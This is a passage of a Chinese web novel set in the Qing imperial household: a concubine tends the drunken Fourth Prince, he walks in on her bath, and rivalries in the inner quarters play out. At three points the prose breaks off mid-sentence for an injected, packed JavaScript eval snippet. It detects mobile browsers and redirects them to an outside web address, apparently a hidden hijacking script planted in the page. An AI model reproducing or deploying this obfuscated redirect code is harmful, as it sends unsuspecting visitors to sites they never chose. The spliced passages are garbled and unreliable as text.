福晋闻言眼神闪了闪,又看了一眼四爷离去的方向,然后垂下头低声喃喃道:“是啊,是顾念大格格罢了,我也该有个孩子了,哪怕是个女儿呢,哪怕...” 说到这里福晋顿住了,过了好一会儿她才道:“嬷嬷,你从前是对的,是我太任性了,回头吩咐下去,赏赐侍妾们每人一块布料,并一对玉镯子,叫她们好生打扮自个儿,别忘了她们的本分。” 吴嬷嬷忙应下此事,不过她又想起安秀秀,当下便皱了皱眉询问福晋:“福晋能想通是好事,只是那安氏可不大安分呀...” 福晋也想起了之前安秀秀上蹿下跳的模样,不想她却冷笑一声:“哼,她愿意上进只管叫她上进去,到时生了孩子要抱去谁哪儿可不是她说了算的,你再多赏她一副耳坠子,传我的话,就说若她有本事能叫主子爷近了她的身,再添个一儿半女,我还要赏她。” 吴嬷嬷一合计也是,凭她安秀秀是个什么东西,也配叫福晋忌惮?是她着相了。 福晋吩咐完这些后,才缓缓吐出一口郁气,抬起头又恢复了她嫡福晋的体面,搭上吴嬷嬷的手,缓缓开口道:“行了,咱们回吧。” 而另一边,苏培盛按照吩咐,将醉醺醺的四爷送到了宋时繁的院子里。 彼时,宋时繁正倚在榻上,瞧着白薇清点今日各处送来给大格格的百天贺礼。 不得不说古时候的工艺水平还是很高的,那些个孩子用得小镯子、小项圈什么的都十分精致可爱,若不是尺寸太小,宋时繁高低要戴上试一试。 幸好她生得是个女儿,等以后咪咪长大了,她就可以跟咪咪一起梳妆打扮,比如穿同款的衣服啦,戴一样的首饰啦,走出去保管别人都说她们是姐妹花。 宋时繁正美滋滋幻想着大格格长大以后的样子,就听外头突然闹哄哄起来。 没等宋时繁出去瞧是怎么回事,就见四爷在几个太监的搀扶下被送到了床榻上。 好了,这下不用出去看了,事情已经十分明了。 四爷喝醉了,并且醉得不轻。 可宋时繁却觉得诧异极了,瞪着眼睛问苏培盛:“苏公公,这是...” 苏培盛也觉得这事儿太离谱,主子爷都喝成这样了,竟然还要来找宋格格,可既然主子爷吩咐了,他这个贴身太监就得帮主子爷把事办成不是? 于是,苏培盛对着宋时繁讪讪笑道:“奴才给宋格格请安了,主子爷先前交代了,今日要在您这儿留宿,那就烦请宋格格照顾好主子爷了,奴才不打扰您二位安寝,这就告退了。” 话音刚落,宋时繁还没来得及分辨,就见苏培盛已经飞快溜出了屋子。 宋时繁...得,看来今天要跟这个醉鬼共处一室了。 34. 醉鬼四爷 苏培盛一走,他带来的小太监们也纷纷对着宋时繁行礼告退,一眨眼的功夫,屋子里就空荡下来了。 宋时繁瞧着床榻上醉醺醺的四爷,眉心直跳,心道也不知四爷的酒品如何,若是等下耍起酒疯来,她这屋子里都是姑娘,可不一定能控制住四爷... 唉!真头疼,怎么就把这个醉鬼送到她这儿来了? 惆怅间,宋时繁忽然听见白薇喊她:“格格,格格...” 一转头就瞧见白薇正朝着她挤眉弄眼的,那意思很明显,就是示意她快点上前去伺候四爷。 宋时繁倒是可以理解,这对旁人来说肯定是一个大好献殷勤争宠的机会,可宋时繁真不知道怎么伺候人,尤其对方还是一个醉鬼的情况下。 不过,宋时繁瞧着白薇为了给她使眼色,眼睛都快抽筋了,她也实在是不能视而不见,她只得扶着额长长叹了一口气道:“先把咪咪送到西厢去吧!辛苦赵妈妈哄她先睡觉。” 宋时繁的后一句是对着奶娘赵氏说的。 毕竟万一四爷酒品不好,总不能让自家女儿看见她亲爹耍酒疯吧?而且现在的四爷身上全是酒气,别到时候再熏着她家咪咪了。 不曾想,宋时繁话音刚落,一直倚在床榻上的四爷却突然坐了起来,将周围人都吓了一大跳,宋时繁也是一惊,不明白这位爷突然是怎么了。 只听四爷沉着脸道:“你们是谁?要把我的大格格带去哪儿?” 宋时繁一听四爷这话还有什么不清楚的?感情这人还真是醉得不轻啊。 不过,四爷都这样了,竟然还能记起大格格来,倒委实令宋时繁没有想到。 一旁的奶娘闻言脚步也停顿了下来,抱着大格格有些不知所措地看了看四爷,又看向宋时繁。 开玩笑,主子爷发了话,哪怕是醉话呢,谁敢轻举妄动? 反观宋时繁却没有这方面的顾虑,在她看来,眼下四爷醉着,就算真有什么事,四爷明儿个一早能不能记起来都两说呢,她会怕一个醉鬼? 于是,宋时繁上前仔细打量了一下四爷,确定四爷是真的醉了,她当即就对着奶娘大手一挥道:“不必理会,你们去吧!” 奶娘却还有些惴惴不安,可等了等也确实没再听见四爷继续开口,到底还是带着大格格离开了。 不想大格格前脚刚被奶娘抱着踏出屋门,那边四爷就坐不住了。 只见四爷猛地站了起来大声喝道:“放肆!” 四爷到底生下来就是皇子,长期在权利的漩涡中浸染,一身气势还是很能唬人的。 当然,如果忽略掉他喊完“放肆”两个字以后,就开始东倒西歪的话。 见状,宋时繁不敢再袖手旁观,只得无奈上前搀扶住了四爷,以免他摔到自己。 回头要是四爷身上再添点儿伤,那她怕是就要有好果子吃了。 一想到有这种可能,宋时繁将四爷的胳膊拽得更紧了,生怕他磕到哪里,口中还不停道:“四爷你慢点儿,先坐下,来,坐这里...” 可四爷还一个劲儿的要去找大格格,就是不肯安分下来,宋时繁只能像哄小孩儿一样劝四爷:“四爷,大格格没事儿,她去睡觉了,你总不能让大格格不睡觉吧?” 四爷闻言倒是冷静了些,他歪了歪头,努力睁着眼睛看向宋时繁问道:“真的?”一时间,显出些平日里没有的人畜无害来。 这一下倒把宋时繁看懵住了,她猛然想起了四爷今年也才十九呢,要是放在现代也就是个刚成年的孩子,估计还在上大学,就和她一样。 也许是四爷平日里太端着了,每次宋时繁见到四爷的时候都会想到这是未来的雍正皇帝,又也许是因为这里森严的等级制度,让宋时繁一直觉得她与他之间隔着巨大的鸿沟,所以她一直忽略了四爷其实还很年轻这件事。 看着眼前宛如普通少年郎的四爷,宋时繁突然笑了起来,心说皇帝又怎样,喝多了还不是暴露本性,其实就是孩子啊,孩子! 四爷见宋时繁笑了,竟挑起宋时繁的下巴仔细端详了会儿,然后郑重对宋时繁道:“你笑得真好看。” 若是醉话也就算了,可四爷上说得实在太认真,宋时繁被四爷这突如其来的正经弄得脸都红了。 这会宋时繁的胆子也肥了起来,一把将四爷的爪子拍开,小声嘟囔道:“喝多了还耍流氓,不光是个醉鬼,还是个大色狼,哼。” 喝醉了的四爷也不生气,还冲着宋时繁笑了笑,把宋时繁看得心都一软,嗐,她跟个醉鬼计较啥呀。 不过若是四爷明天酒醒了还记得这事的话,会不会治她大不敬之罪?她还是别捉弄四爷了吧,抓紧将这个祖宗伺候躺下才是正经。 思及此,宋时繁忙叫竹苓:“竹苓,有没有什么醒酒汤之类的东西,快弄点儿来,要不四爷明天起来该难受了。”语气里却带着些不易察觉的关心。 竹苓答道:“回格格话,方才苏公公已经去膳房催醒酒汤了,约莫等会就该送来了。” 宋时繁点了点头表示知道了,然后又开口道:“你过来帮我给四爷脱下衣裳,外衣穿在身上就是躺着也不舒服。”说着就开始解四爷的腰带。 宋时繁对此倒不怎么害羞,毕竟古时候人穿衣服向来是里三层外三层的,更何况现在还是冬天,现下只不过是帮四爷脱一下外套,她还没那么保守。 等脱到只剩里衣的时候,宋时繁怕四爷着凉,忙拉过被子将四爷裹住。 竹苓见状问宋时繁:“格格,主子爷看样子是不能沐浴了,不若格格给主子爷擦一擦吧?” 宋时繁闻言吓得差点被自己口水呛到:“咳咳...不用不用,这会四爷还醉着呢,回头再着凉了多不好,就这么睡吧。” 开玩笑,帮着脱两件外衣不算什么,但帮着擦澡?不好意思,太刺激了,她干不来。 说话间,苏培盛将醒酒汤送了进来,宋时繁让竹苓帮忙扶着点儿四爷,她端着碗喂四爷喝汤。 废了半天功夫才将一小碗醒酒汤喂进去七七八八,宋时繁用帕子帮四爷擦了擦嘴角,又擦了擦她自己额头上的汗,这才长舒一口气。 “唉哟,可算是喝完了,怎么喝醉了比大格格还不听话,大格格都不用这么费工夫...”宋时繁无意识抱怨了一句。 宋时繁话音刚落,她突然想起苏培盛还在一旁,心下一跳,天,自己这张嘴真得管管了,苏培盛应该不会等四爷醒了告她状吧。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164998|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄悄看了看苏培盛的表情,见苏培盛仍笑眯眯的,她便有些讪讪了,勉强扯开嘴角笑道:“苏公公,你也辛苦到现在,叫石桥他们带你去歇息吧,我会照顾好四爷的。” 苏培盛倒是装作刚才什么都没听见的样子,还跟宋时繁客气了一句:“宋格格哪里话,这都是咱们做奴才应该的,那奴才就先退下了。” 目送苏培盛出去以后,白薇将宋时繁手中的碗接过来,有些不赞同道:“格格您说话也太不小心了,怎么能当着苏公公面这样。” 宋时繁朝白薇吐了吐舌头,有些心虚地岔开话题:“四爷这边收拾差不多了,我也要去洗漱一下了。” “格格去侧间沐浴更衣吧,奴才已经叫石桥将水都预备好了。”白薇道。 宋时繁站起身活动了一下腰,然后才慢悠悠道:“不急,今天我想洗一下头发,先来帮我把发髻拆了吧。” 平日里,宋时繁除了去给福晋请安或者四爷要来的时候会梳发髻,她自己在屋里的时候都是直接把头发梳到脑后用一根簪子挽起来,省事儿又美观,可今天她顶着这个两把头整整一天,头皮都被绷疼了,她想洗头也不是没有道理的。 白薇闻言走到宋时繁身后帮她拆头发,宋时繁自己的手也没闲着,对着镜子开始取头上的首饰。 忽然,她瞧见自己侧边发髻上插着一根银镀金的发簪,发簪前端是用一个个小米珠串成花朵的样子,连花芯子都有,一时间有些惊奇。 “这个好看,也有趣。”宋时繁笑着随意道。 白薇看了一眼宋时繁手中的发簪,想了想道:“格格喜欢这个样式的?奴才记得这根簪子仿佛是福晋刚入府的时候赏下来的,格格之前倒是不常戴呢。” 宋时繁本就是随口一说,这会听了白薇的解释也不甚在意:“嗯,只是瞧着还挺精致罢了,谈不上喜欢不喜欢。” 不期然的,床榻上突然传来四爷的声音:“这个不好看,配不上你,回头爷赏你更好的。” 宋时繁不妨四爷突然说话,原本她还以为四爷已经睡下了,她便侧着头往床榻上瞧,就见四爷已经坐起来了,看样子也不知道坐了多久。 见宋时繁不说话,四爷仿佛怕宋时繁不相信一样,又看着宋时繁强调了一遍:“真的!我私库里有更好看的,回头都给你,你这么好看,首饰也该配得起你才行。”这次,他连爷都忘了说。 宋时繁看着眼前神色颇为认真的四爷,在烛火映照下,他的眼睛里还散发着点点光芒,一遍又一遍执拗的告诉她,她能配上更好的。 忽然之间,宋时繁好像听不见旁的声音了,耳边只有自己“噗通、噗通”的心跳声,震耳欲聋。 宋时繁想,也许不是四爷醉了,是她醉了才是,否则她的心怎么会跳得这么快? 终于,宋时繁坐不住了,她站起身来对着白薇吩咐了一句:“四爷喝多了,你快去,去把被子给他盖好,别着凉,我,我去洗漱,你不用跟来。” 几乎有些语无伦气,可宋时繁管不了那么多了,她说完就快步出了屋子。 直到冷风吹拂到她脸上的时候,宋时繁才略微冷静了一些。 她想,她一定是疯了,居然差点把一个醉鬼的话当真了。 35. 不认账了 这边,宋时繁收拾好心情以后就去了侧间沐浴。 竹苓见宋时繁冷不丁冲进侧间,被吓了一跳,又瞧着宋时繁通红两腮,还以为宋时繁身体不舒服。 “格格您怎么了?是不是病了?要不要找大夫来瞧瞧...”竹苓有些担心。 宋时繁却被竹苓问得一脸茫然:“说什么呢?我没病呀!” 竹苓只当宋时繁怕给她们添麻烦,不舒服也不肯说,急忙上前两步走到宋时繁身边,先是朝着她福了福身,然后才开口道:“格格赎罪,奴才冒犯了!” 说罢,也不给宋时繁反应的时间,就直接将手贴在了宋时繁的脸上。 宋时繁还不知道竹苓要干嘛,却听竹苓焦急道:“格格还说没事呢,瞧瞧这脸,滚烫的,不行,奴才去找石桥...” 宋时繁这才明白过来竹苓是想岔了,当即,她的脸更红了。 靠!这误会闹大了,她脸红明明是因为… 可眼见着竹苓已经要去叫人了,宋时繁没空细想,忙拉住竹苓:“唉别,我没事,真的没事,你看,活蹦乱跳的!” 说罢还跳了两下,力图让竹苓相信她没病。 见宋时繁这样,竹苓有些迟疑了,“可...格格您的脸烫得很,怕不是今天出门叫风扑着,受凉了吧?” 宋时繁见竹苓还不肯相信自己,她只好换了种说法:“哪怕真病了,大晚上呢,也不好惊天动地的就闹起来,再说我这根本没事,还是别声张了。” 这话倒是起了点儿作用,竹苓果然停住了动作,可她仍是开口道:“那好吧,不过奴才去小厨房要碗热热的姜汤来,格格先喝了,若是明日还不舒服,格格您可千万不能忍着,一定要找大夫的。” 好不容易将竹苓说通,宋时繁生怕她又改口,慌忙点头:“一定一定!好啦,别操心了,快,我要洗澡,累一天了,浑身都不舒服呢,还有我这头发,也要洗呢...” 不曾想,竹苓却不赞同道:“这可不成,格格已经受凉了,今儿还是别洗了吧?若格格身上难受,奴才给您擦擦?” 宋时繁有些无奈,毕竟说到底,是自己让竹苓误会了,竹苓也是一片好心。 但不让她洗澡是绝对不行的。 于是,在宋时繁的据理力争下,最终的结果就是她两打平了,二人各退一步,竹苓同意宋时繁沐浴,但宋时繁不能洗头,得等到明天确定宋时繁没事了再说。 宋时繁对此还算满意,当下也不纠缠了,立刻脱了衣服跳进了浴桶里,还不忘招呼竹苓:“竹苓你快下去歇会儿吧,我自己洗就行,不用麻烦你啦!” 竹苓倒是习惯了,自家格格洗澡的时候从来不许人在旁边,所以她顺从地退了下去,还贴心嘱咐道:“那格格您加紧点儿,小心着凉。” 见宋时繁笑吟吟答应了,竹苓这才放心离开,转身出院子去膳房要姜汤去了,想的是让宋时繁洗完澡就能立马喝上。 另一边,宋时繁的屋内。 醉得不省人事的四爷这会脑子里还是一片浆糊呢,不明白为什么宋时繁就这么逃跑了,但他仅存的一点儿意识告诉他,这个人好像特别喜欢逃跑。 逃跑,就是说明她害羞了。 喝醉的四爷脑容量没有那么大,几乎已经退化成单线思考的生物了。 所以,他一联想到宋时繁是因为害羞所以跑了以后,当即便要下床去将人追回来,然后再问问她为什么总是要跑。 想到便要做,四爷掀开被子就要下床。 一旁守着的白薇不妨四爷突然有动作,可四爷毕竟是主子,白薇也不敢伸手去拦,只能忙问道:“主子爷您这是要做什么?” 喝多了的四爷倒是很老实,有人问他他就回答:“爷要去找她。” 这话有些没头没尾的,可白薇却福至心灵般听懂了。 原来是要找她们格格呀,她一早就看出四爷对自家格格很是不同,但是她说给格格听,格格却根本不相信。 可瞧瞧眼下,四爷连醉酒都没忘记自家格格,这还不能说明问题吗? 白薇不免觉得有些好笑,不过身为奴才,她不能就这样放任四爷跑出去,只好劝四爷道:“主子爷,您不若就在屋子里等,格格这时候正在隔壁沐浴呢,想是一会儿就要回来了。” 四爷哪里能听得进去白薇的话,现在他一心都是要去找宋时繁。 于是,四爷当即便不说话了,只垂下眼眸自顾自地下床穿鞋。 也是四爷平素积威甚重,这会子他沉下脸来,白薇就不敢再劝了,可眼见着四爷就要穿着里衣出屋子了,她只得急急取来一件披风给四爷披在外头,好赖出去别冻着就是了。 等四爷出了门,白薇担心出事,也亦步亦趋跟在了四爷身后,可也不敢跟得太近,只远远坠着,能瞧见四爷的身影知晓他的行踪。 而前头的四爷虽说是醉了,但他居然诡异地从白薇的话中提取出来了关键信息,知道宋时繁此刻就在侧间,便不管不顾地冲了进去。 后果就是,宋时繁一只脚刚踏出浴桶,就这么华丽丽的和四爷坦诚相见了。 此时,最先映入四爷眼帘的就是大片大片的白色,紧跟其后便是争先恐后从宋时繁身上滴落下来的水珠,就这样一颗一颗滴到了四爷的心上。 四爷一时间都分不清自己到底是清醒还是醉了。 好在宋时繁迅速反应过来,当即便一个旋身躲到了屏风的后面,心跳如擂鼓。 其实原本四爷也不能就这么顺利地闯进宋时繁沐浴的地方,只是宋时繁向来不喜欢留人旁观自己洗澡,会让她觉得自己像动物园里的猴子,而恰好今日竹苓又去了膳房拿姜汤,没在门口守着,这才叫四爷钻了空子。 虽然宋时繁来到这里后不久就跟四爷把和谐的、不和谐的事情都做了一遍,不过,那几次到底是在夜里,两个人裹着被子呢,她把眼睛一闭就什么都看不见了,全当她自己是在完成生存任务。 但这会子不一样,一来宋时繁事先没有预料,二来眼下又是灯火通明的情况,她实在坦然不来,惊慌失措之下便慌忙将自己藏了起来。 可这一幕落在四爷眼里,却是美人朦朦胧胧的身影在屏风后若隐若现,屋子里还残留着没有散干净的雾气,空气中弥漫着一股花瓣香气与少女体香结合起来的味道… 不出意外的,四爷的喉结微微滚动了一下,就连看向屏风的眼神都深邃了不少。 即便宋时繁躲在屏风后,都能感觉到四爷凝结在她身上的目光。 宋时繁心下紧张得不行,而且她的衣服离屏风还有点儿距离,她要想摆脱眼下的困境,就必须先把四爷打发了。 “四爷,您…您怎么进来了…” 屏风后忽然传来宋时繁略带颤抖的声音,仔细听,彷佛还带着些微弱的哭腔。 宋时繁承认她是故意这样的。 眼下她不确定四爷是酒醒了还是依旧醉着呢,只得先装作害怕的样子,希望四爷还能顾及着点儿体面。 其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176444|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实四爷这会子还醉着呢,但当他听见宋时繁娇娇怯怯地叫他爷的时候,四爷原本有些燥动的心却忽然一下子软了下来。 怕继续待下去会吓着宋时繁,四爷打算离开了。 只见四爷脚步顿了顿,又看了一眼屏风后的人儿,然后再不停留,转身径直离开了侧间。 宋时繁在屏风后等了许久,直到外面再无动静她才松了一口气。 但她犹不放心,只将头小心翼翼地伸出去左右张望了下,见屋内确实没有人了才慢慢从屏风后面出来。 出来后宋时繁也不敢耽误,忙拿过竹苓早就备好放在一旁的衣物套在了身上,穿戴整齐以后这才往正屋走去。 一进屋就对上了四爷晶亮的双眼,又听白薇在一旁轻声细语道:“主子爷,您先躺下吧…格格一会儿就来了…” 可任凭白薇如何劝说,四爷只是坐着,也不说话也不动,就那么看着门外,直到宋时繁的身影出现。 四爷也不闹了,不用白薇劝自己便乖乖躺下了,一副完全没等过宋时繁的样子。 宋时繁见状心下好笑不已,倒是将先前的乌龙抛到了脑后,只道没成想四爷喝多了居然还有这样一面,难不成是不好意思叫自己发现他在等她吗? 思索间,竹苓提着食盒回来了。 “格格,快热热地喝一碗下去,去去寒气!”竹苓捧着一碗姜汤递到了宋时繁的手里。 宋时繁抱着碗吹了吹热气,然后像想起什么似的又道:“给四爷也倒一碗来,方才四爷出去怕是也着了凉。” 竹苓依言也给四爷喂了一碗下去,许是姜汤里还有些安眠的药材,又许是四爷折腾到现在终于是累了,总之四爷喝下姜汤以后倒是慢慢睡过去了。 宋时繁见四爷睡着了,也感觉一阵疲乏涌了上来,她放下碗,小声对着竹苓和白薇二人道:“今天你们也累坏了,下去歇着吧,就不必守夜了。” 等两人都退下后,宋时繁才小心翼翼爬上了床。 好在四爷应该是睡熟了,宋时繁的动静并没有吵醒他。 宋时繁瞧着眼前人的睡颜,又想起四爷醉酒后与平日里的种种不同,心里不知什么想法。 恰好此时四爷的长辫子不听话地散在枕头上,宋时繁鬼使神差般用手抓住了四爷的发梢,还恶作剧一样拽了拽,只是动作轻柔。 梦里的四爷感受到打扰,眉头皱了起来,所幸没醒来,宋时繁见状也不敢再捉弄四爷,忙将四爷的发辫放到四爷的身侧,她自己也老老实实躺下了,很快就进入到梦乡里了。 第二日,四爷难得睡晚了,起身的时候一阵头痛,他用手揉了揉眉心,等缓过来些就叫苏培盛进来伺候他起床。 一旁的宋时繁也不可避免被吵醒了,她刚睁眼见到四爷的时候还有种恍如隔世之感。 但见到此时的四爷脸上挂着标志性的冷漠神情,看见她也没有什么异样的神色时,她就知道四爷已经恢复正常了。 宋时繁忽然生出些荒谬之感。 感情这人是耍完酒疯就忘得一干二净,现下打算不认账了呀! 不过宋时繁也只是在心里偷偷想想罢了,毕竟她就算提醒四爷昨晚发生的事也没有什么意义。 等送走了四爷,宋时繁又躲回了被窝里,还交代白薇:“都别来喊我,我想再睡会儿…” 当白薇将她房门关上的时候,宋时繁悠悠地叹了口气,强迫自己忘记昨晚上发生的一切,然后慢慢闭上眼睛,不一会儿又迷糊过去了。 36. 早起找茬 时间一晃到了正月二十,四爷的元宵假期也快结束了。 这段日子里四爷倒是雨露均沾得很,府里各处都去瞧了瞧。 当然,这事也不稀奇,宋时繁早就看出那位四爷是个喜欢平衡的性子,从不会叫后院里谁独树一帜出来。 不过,值得意外的是,昨晚上,四爷去了郭格格处,二人俨然已经成全好事了。 宋时繁原先还以为郭格格不会得宠了,倒不是宋时繁对郭格格有看法,而是因为根据宋时繁这些天的观察来看,她感觉四爷在女人的喜好上好像更偏向于娇俏一类的。 比如府里一直得宠的李格格还有后来者居上的武格格,都是这一挂的,至于其他人,四爷虽说不上太冷落,但一直也都是淡淡的。 可郭格格明显不是四爷喜欢的类型,自郭格格入府以后,四爷一次都没去过她那里,昨儿也不知道怎么了,四爷竟又去了。 一向在外头吃得开的曹三宝倒是知道一些内里的情形,他瞧出宋时繁面上的疑惑,忙上前一步,凑到宋时繁耳边悄悄解释了一番。 “奴才也是听福晋那边的小太监说的,说是四爷和福晋进宫拜年的时候,德妃娘娘对子嗣一事颇为上心呢,怕是催促了一番,说起来也是呢,三爷和五爷都有儿子了,咱们四爷却只有一个大格格,怨不得德妃娘娘着急,郭格格又是德妃娘娘亲自选的,四爷想是也不好拂逆德妃娘娘的面子,这才有了昨晚的事。” 宋时繁听了曹三宝话先是皱眉,看了曹三宝好一会儿才道:“你上哪儿打听来这些事的?”语气里满是严肃和认真。 曹三宝听出来宋时繁话语里颇有些警告的意味,当即就唬了一跳,跪下便道:“回格格的话,奴才并不是刻意去打听这些事的,只是太监们都住得近,平日里无事也是要闲话几句的,他们又瞧着奴才年纪小,从不对奴才防备什么,有时候说了话也不背着奴才,就叫奴才把事儿给听来了。” 这曹三宝说得话却是真的,太监们又不像丫鬟,晚上可以留在主子的院中居住,那些在主子跟前不得脸的小太监们是要挤大通铺的,都睡在一起了,显然不可能一点儿话也不说,可见曹三宝讲出来的话倒也不虚。 其实,宋时繁心里已经相信了曹三宝的话,可她仍旧沉着一张脸,生怕曹三宝是借着住一起的便利,刻意打听了后院里头旁人的事,为了以防万一,她便想着还是应该事先警告一番才行。 而跪在宋时繁对面的曹三宝则悄悄观察了一下宋时繁的脸色,见宋时繁仍旧蹙眉不语,生怕宋时繁就此厌弃他,往后都不用他了,他们这种没了命根子的太监,若是糟了厌弃,以后不得主子用了,那可就再也没出路了。 想到这里,曹三宝脸色白了白,又急急忙忙开口道:“求格格赎罪,奴才是知晓轻重的,奴才发誓,这些话从没有到外面说过,哪怕在旁人面前听了奴才也是装着不知道的,求格格明鉴!” 宋时繁见曹三宝吃了教训,这才开口:“既是这样倒没什么要紧,只是以后千万别生出什么旁的心思,去刻意打听什么消息,否则连累了我不算,你们是第一个要丢了性命的,万事还是小心谨慎得好。” 宋时繁也不想这样,可这种时候却是容不得她发善心的。 她确实不愿意将她身边的人都看成是奴才,也肯定做不到不把旁人的命运当回事。 但要是因此叫她身边的人心大了,做事也没章法了,那绝对会连累她和大格格,毕竟,在外人眼里,她身边的人和她都是一体的,当然,如果出事了,他们自己也落不着好,可宋时繁不愿意看见这种事情发生。 不过到时候若真出了什么事,再说这些肯定已经晚了,她还是及早把规矩立在前头得好。 曹三宝得了这话,知道自家格格也是在为他考虑,并不是真要怪罪他,心中略微放松了些。 “多谢格格开恩,奴才以后不敢了,做什么事儿都会提起十二万分的小心,绝对不会在外头给格格招祸的!” 曹三宝还在那边表忠心,宋时繁便叫白薇将曹三宝扶了起来:“好了三宝子,不必这样,我也是不想落下什么把柄,否则叫旁人知道我们院子里手伸得那么长,不说福晋会不会不高兴,就是四爷也不会坐视不管的,若真到了那时候,事情可就难办了,我也保不住你。” 宋时繁见曹三宝还有些戚戚然的样子,又安慰了他两句:“你去吧,往后好好办差也就是了。”这就是表明宋时繁以后还要用他的意思,曹三宝这才安心告退出去。 不曾想曹三宝一出门就碰上了赖世兴,此人是跟曹三宝和石桥一起分到宋时繁这里的,可他既没有石桥稳妥周到,又没有曹三宝机灵,倒是一直没在宋时繁面前露上脸,心中很是忿忿不平。 这会子,他瞧着曹三宝额头都磕肿了从宋时繁屋子里出来,到底没忍住,嗤笑一声道:“哼,天天就知道在格格面前卖乖,也要人领情才是。” 曹三宝早就看出赖世兴是个不安分的主儿,可他只要没害着自家格格,曹三宝也懒得管他。 而且他方才还被格格教训要谨言慎行,现下便不愿意跟赖世兴多费口舌,只看了赖世兴一眼就自去做事了。 倒将个赖世兴晾在了原地,差点没把赖世兴给气死,朝着曹三宝离开的方向狠狠啐了一口。 仔细看去,赖世兴面上的神情还有些晦暗不明。 屋内,宋时繁正在同竹苓和白薇说话。 “按说郭格格初次承宠我是不是得送点儿东西给她?是有这个规矩吧...”宋时繁隐约记得好像是这样的,但心里不确定,还是问清楚得好。 白薇道:“是该送贺礼的,只是...主子爷的赏赐这会儿还没下来呢,贺礼要怎么送倒真是个问题...” 宋时繁点了点头,确实,这跟现代里给朋友送礼物大不相同,在这儿要想送点儿什么东西出去,要考虑的东西那可就多了。 不过,她反正按着规矩来就行,总之一句话,力求不出错。 而且,今儿一早,福晋身边的吴嬷嬷就来各处传过话,说“福晋的身子已经大安了”。 这话里的意思就很明显了,左不过是告诉她们,福晋好了,她们这些妾室就别继续懈怠下去了,还不赶紧去给福晋请安... 正好,宋时繁爷可以趁着请安的时候去打探一下,到时候别人送了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188461|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么东西,她就给郭格格送个差不多的也就是了。 思及此,宋时繁开口道:“既然这样就先不着急,你们按着我的身份先预备几样东西,反正等会我要去给福晋请安,想必到时候福晋会当场赏赐郭格格,到时候跟着福晋的赏赐再行添减就好了。” 白薇一琢磨也是这么个理儿,就打开了宋时繁的柜子,打算从里面找些能当贺礼的东西出来,好让宋时繁过目。 没错,就是柜子,以宋时繁现如今这个穷困潦倒的样子还不配拥有库房呢,一些贵重东西就收在房间里的柜子下面。 不过,眼下宋时繁见快赶不上请安的时辰了,就叫白薇自己先找着,等她回来再看,她则带着竹苓出门了。 自从竹苓来了以后,宋时繁出门,大多时候都是带着竹苓的。 倒不是不重视白薇了,宋时繁知道白薇也是很忠心的,只是白薇的心眼儿太实诚,倒不如竹苓在外头有眼色些,而且将白薇留下在屋子里守着大格格宋时繁也更放心。 等宋时繁到了正院的时候,看着正院门口站着的莺莺燕燕,她不自觉挑了下眉毛。 人倒是已经来得七七八八了,宋时繁一打眼就看见府里那三名侍妾正垂首站在一旁,这就已经让宋时繁有些侧目了。 宋时繁还以为除夕那天四爷发了脾气以后,福晋会不打算用侍妾们争宠了呢,可眼下,福晋竟然又叫侍妾们过来一块请安... 这是还没放弃的意思吧? 不过侍妾们的出现,宋时繁还真不是特别惊讶,最令宋时繁没想到的是,怀着孕的李格格居然已经到了。 毕竟,李格格自从有了身孕以后,请安一直都是卡着点儿来的,好像生怕来早了就会吃亏一样,今儿也不知怎么了,居然比她来得还早,那她岂不是成了最后一个来的? 于是自觉来晚了的宋时繁有些尴尬地同格格们见礼,嘴上还寒暄了一句:“妹妹们都来了呀。” 宋时繁这话本来就是客气一下的,没指望谁回回答她,不曾想李格格却将小下巴一扬,冷哼了一声道:“宋姐姐这话说得不对,有人可还没来呢!” 宋时繁被这话说得一愣,再回过神就发现李格格说的是郭格格。 不过郭格格昨天要侍寝,今儿早上来迟了倒是有些情有可原,所以宋时繁一开始就没想起她来。 显然,李格格并不是这么想的,只听她又开口道:“唉,有些人平日里瞧着倒是乖觉,可连给福晋请安这样的大事都不积极,也不知道安得什么心呢。” 原本宋时繁还以为李格格并不知道郭格格昨日侍寝,所以才有疑问,可从刚刚李格格的话来看,李格格怕就是因为知道了,心里头不高兴,这才有了现在的发难。 思及此,宋时繁看了李格格一眼,心说这人怕不是特意起了个大早,表面是来请安,实际上就是为了来找茬的吧? 而且根据目前的情况看下来,这还真是很有可能的。 宋时繁不免觉得好笑,心说这李格格想法也是挺清奇的,在宋时繁看来还蛮可爱的,当然,前提是李格格没有找她的麻烦。 另一边,李格格仍旧在不依不饶。 37. 李怼怼上线 李格格见宋时繁一直不肯开口搭她的茬,便又立即调转枪口对准了武格格。 